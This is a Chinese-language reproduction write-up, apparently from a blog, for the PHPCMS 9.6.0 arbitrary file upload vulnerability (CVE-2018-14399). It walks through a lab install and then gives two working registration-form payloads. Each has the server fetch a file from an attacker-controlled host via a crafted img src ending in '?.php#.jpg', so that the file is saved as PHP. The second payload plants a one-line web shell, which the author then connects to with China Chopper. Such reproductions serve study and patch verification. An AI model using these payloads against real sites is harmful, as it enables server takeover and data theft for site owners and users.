1. 程式人生 > >phpcms v9.6.0任意檔案上傳漏洞(CVE-2018-14399)

phpcms v9.6.0任意檔案上傳漏洞(CVE-2018-14399)

phpcms v9.6.0任意檔案上傳漏洞(CVE-2018-14399)

一、漏洞描述

PHPCMS 9.6.0版本中的libs/classes/attachment.class.php檔案存在漏洞,該漏洞源於PHPCMS程式在下載遠端/本地檔案時沒有對檔案的型別做正確的校驗。遠端攻擊者可以利用該漏洞上傳並執行任意的PHP程式碼。

二、漏洞影響版本

PHPCMS 9.6.0

三、漏洞環境搭建

1、 官方下載phpcms v9.6.0版本,下載地址: http://download.phpcms.cn/v9/9.6/

2、 解壓下載的檔案,然後把檔案放到phpstudy的網站根目錄下,瀏覽器訪問192.168.10.171/phpcms/install/install.php,開始安裝

  

3、一直點選下一步,在”選擇模組”這個環節,選擇”全新安裝PHPCMS V9”

  

4、然後一直下一步,在”賬號設定”這一塊填寫資料庫賬號和密碼以及設定管理員密碼

  

5、然後一直下一步,直到出現如下介面,說面成功安裝

  

6、登入後臺,生成首頁

  

四、漏洞復現

1、瀏覽器訪問前臺,註冊一個會員

  

2、點選註冊頁面,抓包

  

3、在另一個系統(kali),開啟web服務,然後在web根目錄下建立一個txt檔案,寫入如下資訊

  

4、構造POC

siteid=1&modelid=11&username=test2&password=test2123&[email protected]&info[content]=<img src=http://192.168.10.153/phpinfo.txt?.php#.jpg>&dosubmit=1&protocol=

5、修改抓包內容,新增POC

  

6、可以看到返回包的內容包含了上傳檔案的路徑

  

7、瀏覽器訪問

  

8、構造POC,上傳一句話

POC內容:

siteid=1&modelid=11&username=testa&password=testa123&[email protected]&info[content]=<img src=http://192.168.10.153/test.txt?.php#.jpg>&dosubmit=1&protocol=

9、修改資料包,新增POC,需要注意: 在repeater裡測試go時每一次都要修改username,password和email欄位值,保證不能重複。

  

10、可以看到返回包的內容包含了上傳檔案的路徑

  

11、菜刀連線

  

&n